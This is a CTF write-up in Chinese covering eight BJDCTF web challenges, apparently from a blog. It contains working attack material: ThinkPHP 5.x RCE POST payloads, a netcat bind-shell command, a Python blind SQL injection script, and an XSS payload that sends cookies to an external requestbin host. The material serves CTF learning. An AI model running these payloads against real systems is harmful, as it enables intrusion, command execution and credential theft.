BJDCTF-WEB2(在更新)

第一题

进入页面测试了下sql注入,发现并不是,试了下SSTI发现是模板注入,手注半天高出了对象和下面的类,不到怎么利用,查了下网上有可用的工具tplmap,一把梭了。准备之后看看汪佬和向哥的wp。

第二题

Tp5.x的RCE漏洞可以直接出。
去网上百度了下用的Poc,

http://127.0.0.1/index.php?s=captcha
post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami
post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

只需要改后面的命令就能拿到flag了。

第三题

算是成功的搞了搞shell这个东西,但是靶机因为访问不了外网弹不出来shell,只能是我去注册一个内网机器。通过提示能下到他的 .swp文件,用vim读能得知
girl_friend会被exec执行。考虑正向nc连shell。
在内网的机器一定要curl内网ip!!!.
然后得到了两台机器的ip
被攻击的机器执行 nc -lvp 4444 /e/bin/sh
即把shell绑定到4444端口。
攻击机 nc ip:4444
拿到shell

第四题

python盲注,得到账号密码就有flag
贴脚本

import requests
url = "http://158a2d8d-0bbd-45cd-be0f-3008850d76d8.node3.buuoj.cn/"
result = ''
for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = "or/**/if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
        # p3rh4ps
        payload = "or/**/if(ascii(substr((password),%d,1))>%d,1,0)#" % (x, mid)
        #payload = "or/**/if(ascii(substr((sel/**/ect/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/li/**/ke/**/0x70337268347073/**/limit/**/0,1),%d,1))>%d,1,0)#" % (x, mid)
        #payload = " or if(ascii(substr((select column_name from information_schema.columns where table_name=0x70337268347073 limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
        #password
        #payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
        data = {
            'username':'\\',
            'password':payload
        }
        response = requests.post(url, data=data)
        if 'You' not in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

第五题

能扫到DS_Store
分析后能得到一些网站源文件的名字。
L0g1n.php就进去了。
进去之后先是时间问题
利用cookie:里面的改
不过还是放一下其他改时间的:

改过后。
改ip
利用
client-ip:
又让改邮箱是利用
From:
再改Referer:
又有个User-agent:
让改成个老机子
最后在base64中的flag。

第六题

xss 之光,先搞下来git.拿到index.php

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

原生反序列化。
xss返回一个cookie呗。
发现有强大的师傅写的直接让他显示在url中。直接用了。

<?php
$a = new Exception("<script>window.location.href=\"http://http.requestbin.buuoj.cn/1nrks0e1?cookie=\"+escape(document[\"cookie\"])</script>");
$b = serialize($a);
echo urlencode($b);

得到flag url解码。

第七题

Schrödinger
进入之后发现有一个可填写的地方。填写后得到了下面有动态的数字。
cookie中出现了时间戳。不同改动会有不同的成功率。改成0的base64后还要加quote(%D%D)。
得到av号。查时间戳找评论得到flag.

第八题

在后面加上各种元素.php进行遍历。
dalao脚本。

import requests

elements = []

with open('element.txt') as f:
    elements = f.read().split(',')

result = ''

for i in elements:
    r = requests.get(f'http://ac771d36-b303-492e-bb6b-8d34ffa32454.node3.buuoj.cn/{i}.php')
    print(i, r.status_code)
    if r.ok:
        result +=r.text
print(result)

得到And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
访问得到flag.

推荐文章